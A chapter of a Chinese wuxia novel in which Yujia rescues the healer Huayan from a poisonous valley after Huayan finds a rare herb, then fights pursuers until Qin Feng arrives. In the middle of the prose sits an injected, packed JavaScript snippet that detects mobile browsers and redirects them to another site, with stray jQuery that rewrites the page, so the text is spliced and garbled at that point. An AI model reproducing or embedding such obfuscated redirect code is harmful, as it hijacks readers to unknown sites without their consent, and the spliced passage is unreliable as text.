玉迦在埋灵谷山口守了一日有余,一把双刀擦了又擦,脸上掩不住的焦躁。
这地方阴得很,谷口常年一片终年不散的灰紫瘴雾,风一吹便散出一股腥甜腐叶之气,寻常人莫说入谷,便是靠近都会头晕目眩、心脉逆乱。
这谷是收生魂的死地,飞鸟过而折翼,走兽入而不还,故名“埋灵”。
而几个时辰前,她就这么眼睁睁看着画颜进去了。
不是她不想跟着,而是那女子太倔。
“玉迦姑娘,你虽有些内力,但这地方瘴气实在太重,你撑不过两息就会受损。”
玉迦觉得不可思议:“我有内力傍身都不行,你一个手无寸铁的女子,要一个人闯这鬼地方?”
画颜道:“我懂医理,带了药材,随时能分辨自己身体的不适对症下药,你不一样,你跟着我进去就是送死。”
玉迦仍觉不妥,她答应了秦风要护她周全:“你不是说你给那个劳什子师姐传了信,就不能等她来吗?”
“等不到。”画颜格外平静:“那只是一个说辞,为了稳住吕大哥和君影,我师姐云游四方,我根本不知道她在何地。”
“剧毒之地,常生奇解;阴秽深处,偏生灵草。只有这里有邀月妹妹活下去的希望,她等不起。”
玉迦急了:“你一人进去,若出事,连个给你收尸的人都没有,你想过吗?”
“那便埋骨于此,这是我欠她的。”画颜已经转身向谷里走,“若两日之后我没出来,你就回吕家,让吕大哥将我的衣冠冢和邀月葬在一起,多谢。”
玉迦看着她的身影越走越远,明明那么单薄、脆弱,却好似千军万马都无法动摇她丝毫。
玉迦把双刀插在土里,自己靠着一个树桩子坐下,莫名有点生闷气。
她生在水乡的一个农户之家,从小却不爱织布绣花,偏爱琢磨武功兵器,十里八乡都觉得她是个野娃娃,女子嫌她粗鲁,男子笑骂她是母老虎,故而她从小到大都没什么朋友。她实在理解不了画颜这种为了别人付出自己生命的想法。
她觉得她简直天真又无知,莽撞又无畏。
明明满天下都是找她的人,她偏要露头来这鹿鸣镇;明明那么多人想要她的命,她却把自己轻飘飘放在了这濒死的天秤上,摇摇晃晃。
这种人,死了也好。
死了......也好。
她再次看向了谷口。那人已经进去了一整日,而今也已快日暮西沉。
啧了一声站起身来,把双刀架在腰间,她不可能去救一个只相识了两日的蠢蛋,绝不可能!
...这么想着,她的步子却不受控的、诚实的往谷里走去。
才走了几步,便觉瘴气入鼻,头晕目晃,内息不住翻涌。
这小妮子到底怎么撑住的?以为自己是医仙下凡不成?
边在心里骂,玉迦边把自己的裙子撕下来一段,套过口鼻,继续往前走。
才走了没多远,她便见着一截一团蓝色的影子,趴在地上。
心下慌张,忙走进了,只见画颜匍匐着,衣衫泥泞,脸色呈青紫色,已是出气比进气多了。
她运起内力,渡入一缕真气护住她心脉,“画颜!还能听见吗?”
画颜呕出一口血,终于恢复了些许意识,她把手上握得几乎变形的一株白青的植物往前递了递:“拿这个...去救月儿...”
玉迦看了一眼,并未接过,她一把将画颜搀扶起来,扛着她艰难的往外走:“我不懂医理,那个吕小姐也跟我没半点关系,你若不撑着回去,她就死定了。”
画颜脚步虚浮,听得她如此说,已经恍惚的精神就清明了一点。
玉迦把她的重量几乎全部抗在了身上,两人就这么深一脚、浅一脚的,远离了那要把人卷吃入腹的瘴气。
明明不是很远的距离,玉迦却觉得走得格外艰难,汗水顺着她的脸颊滑落,瘴气侵袭得内息翻涌出血腥之味,等空气终于变得清明,她一把扯过脸上的布条,大口大口的呼吸。
“还好我进去看了一眼,不然你真的要死在这破地方了!”
画颜状态并没有比刚才好多少,她费力扯出一个笑:“是...我也欠你一条命...”
玉迦换了个姿势,再次把她架在身上,说出来的话没什么好气:“别,我不用你这么还。受不起。”
画颜把手上的凝元草颤颤巍巍放进衣襟之中,这株草药能修补脏腑,她只在师父的医书上看过,原也没有十足把握能找到,不过是拼运气,还好上天垂怜,换来月儿妹妹一线生机。
她们必须快点回去。
但世事,偏偏越急,越不能如你的意。
夕阳沉落,风声渐紧,枝叶摇晃的声响变得杂乱。
只须臾之间,数道黑影从阴影里钻出,前方四五个男人,手持利刃,将她们的去路堵住。
几人脚步沉稳,显然是练家子,绝非寻常山匪。
玉迦暗道倒霉,秦风嘱咐的事还是落成了真。
但她也没多说什么,只把画颜稳住,掏出双刀。
奇怪的是,那些人并没有立即动手。
“这位姑娘,我们并不想伤害你,只是主人有令,命我们带你回去。”
“你们主人是谁?”画颜想到了下令追杀她、却错杀了吕邀月的人。
“姑娘去见了便知道了。”
画颜沉默,她有一种感觉,这些人对她的恶意,并没有上回那些人多。甚至还有点客气。
但她没有时间思考太多,更不可能跟他们走。月儿的命还悬在刀尖上,她晚一刻,那刀落在月儿的心脏上力度就深一寸。
她不由得看了一眼玉迦,有些踌躇,她知道这个女子刚刚为了带她出来花了不小的力气,若是平常,对上这四五个练家子尚有余地,可她吸入了瘴气,内息已然受损......
感受到画颜的眼神,玉迦面不改色的往她面前走了两步,比画颜微微高出的个头并没有将她完全遮住,却固执的要将她遮进自己的影子里。
她绝想不到玉迦在想:干完这趟,人情还清,她得回去收水稻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480424|201702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...如果还能回去的话。
没有多余的话,她持双刀而上,足尖一点枯叶,身形冲进了敌人中间。
她体内瘴毒未清,内力运转时经脉隐隐作痛,但她全然不顾,双刀裹挟着急风,劈头便朝最先说话那人刺去。
对方原先想着不过是个女子,能有多大能耐,所以接刀的把势很虚浮,只当她是几分花架子,可没想到刀光递刀眼前,确实寒芒暴起、斩似奔雷,只听“当啷”一声震响,那人只觉手腕剧痛,退了两部,连刀都险些脱手。
他稳了稳步子,先前眼中的轻慢已荡然无存,朝其他人吩咐:“还愣着干嘛,赶紧拿下,莫耽误了抓正主!”
余下几人闻声一拥而上,剑光交错劈来,招式虽不算顶尖,却胜在人多,封死了玉伽左右闪避的余地。
玉伽双刀翻飞,虽然极力抵抗,但由于瘴毒而经脉滞涩,还是让她身上很快多了几个伤口。何况四个人对她一个,她根本防不住,一人已经朝着画颜走来。
画颜想要催发银针,这个平日里简单的动作,对于虚弱的她而言显得那么困难,眼见玉迦肩膀上多了一个深可见骨的血痕,她终于妥协。
“放她走。我跟你们回去。”
她已经差点失去了月儿,不能再把这个女孩再卷进来。
她打算把凝元草给玉迦,一个人回去,总比两个人都折在这里好。
几人停下了动作,玉迦却不屑的啧了一声:“谁让你喊停?我还没打够呢!”
她不懂什么大道理,更不想趟浑水,可她答应了秦风要保护她,她就得践诺。
于是几人又缠斗在一起。
画颜急得呛咳了几声,正在焦灼的时候,只听见一声男子远处喊道:“住手!”
那声音迅速加入了战圈,一掌将离玉迦最近的人打得退了几步,“光天化日朗朗乾坤,几个大男人欺负两个女娃娃,还要不要脸?”
画颜看清了他的脸,是秦风。
他目光落在玉迦满身的伤痕上,语气有点凶,“怎的伤成这样?”
玉迦横他一眼,抹去嘴角的血渍:“小打小闹。你小子把烂摊子甩给我就不管,若再晚点...”
她的话没说完,目光落在不远处另一男子身上。
画颜也看见了那人,她的世界忽然变得无比恍惚。
在巫鸣山被关押的日子,她满心期待着唐君影会来救她,然而等了数日,来的人却是他。
她曾救过他,是偶然;而他救她,却仿佛是必然。
他毫无征兆的出现,再无可预料的消失。前一刻,她还在生死边缘咬牙硬撑,可后一瞬,他的出现,却让一切都变得清晰、稳妥、安全起来。
她似一个吊在悬崖的人,只是因为顺着风闻到了他的气息,便松开了握紧在崖边的手,无可顾虑的坠落下去。
她向前了一步,苍白的嘴唇已经张开,那句“你终于来了”就卡在喉间,然而,那群先前围攻她们的人,却收起来手中的兵器,恭恭敬敬的朝着他行礼。
“二公子。”